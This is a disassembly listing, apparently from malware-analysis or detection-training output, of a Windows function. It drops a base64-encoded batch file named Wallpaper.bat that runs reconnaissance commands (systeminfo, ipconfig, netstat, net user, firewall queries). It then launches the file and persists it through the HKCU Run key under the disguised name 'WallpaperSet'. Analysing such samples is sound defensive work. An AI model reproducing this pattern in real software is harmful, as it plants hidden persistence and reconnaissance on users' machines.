Function at 0x401220
Capabilities:
Create process on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1314
call fcn.004014c0
mov eax, dword [0x418040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x310]
push eax
push 0
push 0
push 0x2e
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x4014a1
lea ecx, [ebp - 0x310]
push ecx
push 0x104
lea edx, [ebp - 0x108]
push edx
call fcn.00404adf
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00404adf
add esp, 0xc
push 0x411550
push 0x104
lea edx, [ebp - 0x108]
push edx
call fcn.00404b39
add esp, 0xc
mov eax, dword [str.Wallpaper.bat]
push eax
push 0x104
lea ecx, [ebp - 0x108]
push ecx
call fcn.00404b39
add esp, 0xc
push 0x411554
push 0x104
lea edx, [ebp - 0x20c]
push edx
call fcn.00404b39
add esp, 0xc
mov eax, dword [str.wallpaper.jpg]
push eax
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
call fcn.00404b39
add esp, 0xc
mov dl, byte [0x411201]
mov byte [ebp - 0x1310], dl
push 0xfff
push 0
lea eax, [ebp - 0x130f]
push eax
call fcn.00402170
add esp, 0xc
mov ecx, dword [str.QGVjaG8gb2ZmCmVjaG8gU2ltdWxhdGluZyBXaW5kb3dzIE9TIFJlY29ubmFpc3NhbmNlIEFjdGl2aXR5Li4uCgo]
push ecx
push 0x1000
lea edx, [ebp - 0x1310]
push edx
call fcn.00404b39
add esp, 0xc
mov eax, dword [str.6OiBTaW11bGF0ZSBjaGVja2luZyB0aGUgT1MgdmVyc2lvbgplY2hvIENoZWNraW5nIE9TIHZlcnNpb24uLi4K]
push eax
push 0x1000
lea ecx, [ebp - 0x1310]
push ecx
call fcn.00404b39
add esp, 0xc
mov edx, dword [str.c3lzdGVtaW5mbyB8IGZpbmRzdHIgL0IgL0M6Ik9TIE5hbWUiIC9DOiJPUyBWZXJzaW9uIgoK]
push edx
push 0x1000
lea eax, [ebp - 0x1310]
push eax
call fcn.00404b39
add esp, 0xc
mov ecx, dword [str.OjogU2ltdWxhdGUgY2hlY2tpbmcgbmV0d29yayBjb25maWd1cmF0aW9uCmVjaG8gQ2hlY2tpbmcgbmV0d29yayBjb25m]
push ecx
push 0x1000
lea edx, [ebp - 0x1310]
push edx
call fcn.00404b39
add esp, 0xc
mov eax, dword [str.aWd1cmF0aW9uLi4uCmlwY29uZmlnIC9hbGwKCjo6IFNpbXVsYXRlIGNoZWNraW5nIG9wZW4gcG9ydHMK]
push eax
push 0x1000
lea ecx, [ebp - 0x1310]
push ecx
call fcn.00404b39
add esp, 0xc
mov edx, dword [str.ZWNobyBDaGVja2luZyBvcGVuIHBvcnRzLi4uCm5ldHN0YXQgLWFubwoKOjogU2ltdWxhdGUgY2hlY2tpbmcgdXNlciBhY2NvdW50cwo]
push edx
push 0x1000
lea eax, [ebp - 0x1310]
push eax
call fcn.00404b39
add esp, 0xc
mov ecx, dword [str.ZWNobyBDaGVja2luZyB1c2VyIGFjY291bnRzLi4uCm5ldCB1c2VyCgo6OiBTaW11bGF0ZSBjaGVja2luZyBmaXJld2FsbCBzdGF0dXMK]
push ecx
push 0x1000
lea edx, [ebp - 0x1310]
push edx
call fcn.00404b39
add esp, 0xc
mov eax, dword [str.ZWNobyBDaGVja2luZyBmaXJld2FsbCBzdGF0dXMuLi4KbmV0c2ggYWR2ZmlyZXdhbGwgc2hvdyBhbGxwcm9maWxlcwoKZWNobyBTaW11bGF0aW9uIGNvbXBsZXRlZC4K]
push eax
push 0x1000
lea ecx, [ebp - 0x1310]
push ecx
call fcn.00404b39
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x1310]
push eax
call section..text
add esp, 8
push 1
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea edx, [ebp - 0x1314]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401478
lea eax, [ebp - 0x108]
push eax
call fcn.00404ba0
add esp, 4
add eax, 1
push eax
lea ecx, [ebp - 0x108]
push ecx
push 1
push 0
push str.WallpaperSet
mov edx, dword [ebp - 0x1314]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x1314]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [section..data]
push edx
call fcn.004010d0
add esp, 8
test eax, eax
je 0x4014a1
lea eax, [ebp - 0x20c]
push eax
call fcn.00401200
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004014b1
mov esp, ebp
pop ebp
ret